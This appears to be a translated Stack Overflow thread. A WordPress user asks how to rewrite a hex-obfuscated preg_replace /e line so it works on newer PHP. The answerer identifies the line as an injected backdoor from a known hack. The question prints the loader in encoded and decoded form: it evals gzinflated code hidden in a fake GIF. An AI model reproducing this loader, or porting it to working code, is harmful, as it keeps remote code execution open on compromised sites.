php - Wordpress 将 preg_replace 更新为 preg_replace_callback
问题描述
我正在更新我网站的 PHP,当我尝试将其更新到最新的 PHP 版本时,我收到以下消息:
警告:preg_replace():不再支持 /e 修饰符,请在第 291 行的 /home/customer/www/---.org/public_html/wp-includes/init.php 中使用 preg_replace_callback
这是我要更改的行:
preg_replace("/.*/e","\x65\x76\x61\x6c\x28\x27\x24\x70\x61\x67\x65\x78\x79\x7a\x20\x3d\x20\x40\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73\x28\x22\x77\x70\x2d\x69\x6e\x63\x6c\x75\x64\x65\x73\x2f\x69\x6d\x61\x67\x65\x73\x2f\x73\x6d\x69\x6c\x69\x65\x73\x2f\x69\x63\x6f\x6e\x5f\x77\x74\x66\x2e\x67\x69\x66\x22\x29\x3b\x65\x76\x61\x6c\x28\x40\x67\x7a\x69\x6e\x66\x6c\x61\x74\x65\x28\x24\x70\x61\x67\x65\x78\x79\x7a\x29\x29\x3b\x27\x29\x3b","");
我需要将其更改为 preg_replace_callback 但我对这部分感到困惑:
\x65\x76\x61\x6c\x28\x27\x24\x70\x61\x67\x65\x78\x79\x7a\x20\x3d\x20\x40\x66\x69\x6c\x65\x5f\x67\x65 \x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73\x28\x22\x77\x70\x2d\x69\x6e\x63\x6c\x75\x64\x65\x73\x2f\x69 \x6d\x61\x67\x65\x73\x2f\x73\x6d\x69\x6c\x69\x65\x73\x2f\x69\x63\x6f\x6e\x5f\x77\x74\x66\x2e\x67\x69 \x66\x22\x29\x3b\x65\x76\x61\x6c\x28\x40\x67\x7a\x69\x6e\x66\x6c\x61\x74\x65\x28\x24\x70\x61\x67\x65 \x78\x79\x7a\x29\x29\x3b\x27\x29\x3b
我如何翻译那部分?
当我使用在线解码器时,它看起来像这样:
eval('$pagexyz = @file_get_contents("wp-includes/images/smilies/icon_wtf.gif");eval(@gzinflate($pagexyz));');
解决方案
我没有对此进行深入研究,但是,您应该有一个 wp-includes/init.php 文件吗?
官方仓库显示最新版本没有此类文件
一个快速的谷歌表明这是黑客攻击的结果,搜索“wp-includes/init.php”
还要检查我看到的代码“ wp-includes/images/smilies/icon_wtf.gif
”为什么 f*** .gif 会在核心中?而且这里的编码函数闻起来很腥。
发布有关潜在黑客攻击的帖子 https://blog.tonyballantyne.com/2017/01/25/wordpress-pharma-hack/
您不需要编辑 wp-includes/ 中的任何内容作为其核心文件夹。安装核心完整性检查插件并可能更新到最新版本是有意义的,你不能保证数据库没有被篡改。
推荐阅读
- java - 如何实现一个包含 100 个随机元素的数组并对它们进行排序?
- css - 获取一行下的标签使用表格的全宽
- mysql - 从 phpMyAdmin 导出减去用户名?
- java - 如何解析来自媒体播放器的歌曲持续时间以纠正android中的分钟数
- linux - 如何按原样(Linux/macOS)将“=”传递给终端命令?
- bash - Bash date 命令持续更新
- python - 具有不同模式的正则表达式
- python - 使用 pymssql 将文本文件批量插入 SQL Server
- ios - 如何通过点击按钮将焦点设置到视图中的下一个 TextField?
- javascript - Fetch API 获取 php 内容而不是发出请求